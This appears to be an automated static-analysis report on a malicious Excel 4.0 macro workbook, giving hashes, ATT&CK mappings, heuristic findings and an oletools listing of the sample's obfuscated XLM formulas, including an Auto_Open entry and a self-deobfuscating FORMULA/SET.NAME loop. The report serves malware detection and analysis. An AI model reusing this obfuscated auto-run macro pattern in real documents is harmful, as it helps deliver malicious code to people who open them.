Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7e80e5657a190823…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:40:04 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 298e040c3e23ae2658fddfe9e35ad508 SHA-1: 775dc7edb7c9b3694ac0bea8235275e68db96396 SHA-256: 7e80e5657a190823ce092ba66ddd0fa501f0dd13c8d1b6b2dc315fc6763bafb7
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding indicating automatic execution upon opening. The presence of dangerous formula APIs like RUN further confirms the intent to execute arbitrary code. This suggests the file is designed to exploit the macro execution capabilities of older Excel versions.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6606 bytes
SHA-256: 73ebc35ac03a6763b67f2e2e14543f536a8effb7aff99f66d7afb81fabe5ac3b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  lpWxCYdq
' 0018     22 LABEL : Cell Value, String Constant - ascAyiN len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D141 
' 0018     25 LABEL : Cell Value, String Constant - CvWBqFpwSC len=0 
' 0018     26 LABEL : Cell Value, String Constant - eESBPBAoJAi len=0 
' 0018     24 LABEL : Cell Value, String Constant - eVkbWyGfQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - EvsDLyapwIpr len=0 
' 0018     20 LABEL : Cell Value, String Constant - fyIxZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - ITiSJPI len=0 
' 0018     25 LABEL : Cell Value, String Constant - jNvAoYifNX len=0 
' 0018     27 LABEL : Cell Value, String Constant - jqJIVCsEWuWD len=0 
' 0018     23 LABEL : Cell Value, String Constant - jtukLNVs len=0 
' 0018     20 LABEL : Cell Value, String Constant - Ktevn len=0 
' 0018     20 LABEL : Cell Value, String Constant - LuUNF len=0 
' 0018     25 LABEL : Cell Value, String Constant - NDCuQugvxN len=0 
' 0018     20 LABEL : Cell Value, String Constant - qnzfG len=0 
' 0018     26 LABEL : Cell Value, String Constant - rjhFDUMAkhr len=0 
' 0018     27 LABEL : Cell Value, String Constant - RJZDdlAGTZnl len=0 
' 0018     27 LABEL : Cell Value, String Constant - SuvgKCRmojRq len=0 
' 0018     24 LABEL : Cell Value, String Constant - ueFwnpiHr len=0 
' 0018     24 LABEL : Cell Value, String Constant - utUyuuroL len=0 
' 0018     20 LABEL : Cell Value, String Constant - vNJDg len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  lpWxCYdq,D47,"SET.NAME("eESBPBAoJAi",VALUE("0"))",""
'  lpWxCYdq,D50,"SET.NAME("NDCuQugvxN",eESBPBAoJAi)",""
'  lpWxCYdq,D55,"SET.NAME("SuvgKCRmojRq",eESBPBAoJAi)",""
'  lpWxCYdq,D58,"SET.NAME("utUyuuroL",COUNTA(rjhFDUMAkhr))",""
'  lpWxCYdq,D60,"SET.NAME("ITiSJPI",COUNTA(fyIxZ))",""
'  lpWxCYdq,D63,[],""
'  lpWxCYdq,D66,"SET.NAME("LuUNF","")",""
'  lpWxCYdq,D70,"NDCuQugvxN",""
'  lpWxCYdq,D74,"SET.NAME("vNJDg",HLOOKUP("*",rjhFDUMAkhr,NDCuQugvxN,FALSE))",""
'  lpWxCYdq,D76,"EvsDLyapwIpr",""
'  lpWxCYdq,D80,"SET.NAME("ascAyiN",eESBPBAoJAi)",""
'  lpWxCYdq,D84,[],""
'  lpWxCYdq,D86,"ascAyiN",""
'  lpWxCYdq,D89,"ueFwnpiHr",""
'  lpWxCYdq,D93,"RJZDdlAGTZnl",""
'  lpWxCYdq,D98,"jtukLNVs",""
'  lpWxCYdq,D103,"SET.NAME("eVkbWyGfQ",VALUE(HLOOKUP("*",fyIxZ,jtukLNVs,FALSE)))",""
'  lpWxCYdq,D108,"CvWBqFpwSC",""
'  lpWxCYdq,D110,"LuUNF",""
'  lpWxCYdq,D115,"SuvgKCRmojRq",""
'  lpWxCYdq,D120,NEXT(),""
'  lpWxCYdq,D122,"jqJIVCsEWuWD",""
'  lpWxCYdq,D124,"SET.NAME("f",INT(T(FORMULA(T(LuUNF)&"",""&T(jqJIVCsEWuWD)))))",""
'  lpWxCYdq,D129,"Ktevn",""
'  lpWxCYdq,D134,NEXT(),""
'  lpWxCYdq,D136,RETURN(),""
'  lpWxCYdq,D160,"SET.NAME("jNvAoYifNX",D47)",""
'  lpWxCYdq,D162,"rjhFDUMAkhr",""
'  lpWxCYdq,D165,"SET.NAME("fyIxZ",R56C15)",""
'  lpWxCYdq,D168,"SET.NAME("Ktevn",174)",""
'  lpWxCYdq,D170,"SET.NAME("qnzfG",4)",""
'  lpWxCYdq,D173,jNvAoYifNX(),""
'  lpWxCYdq,D174,HALT(),""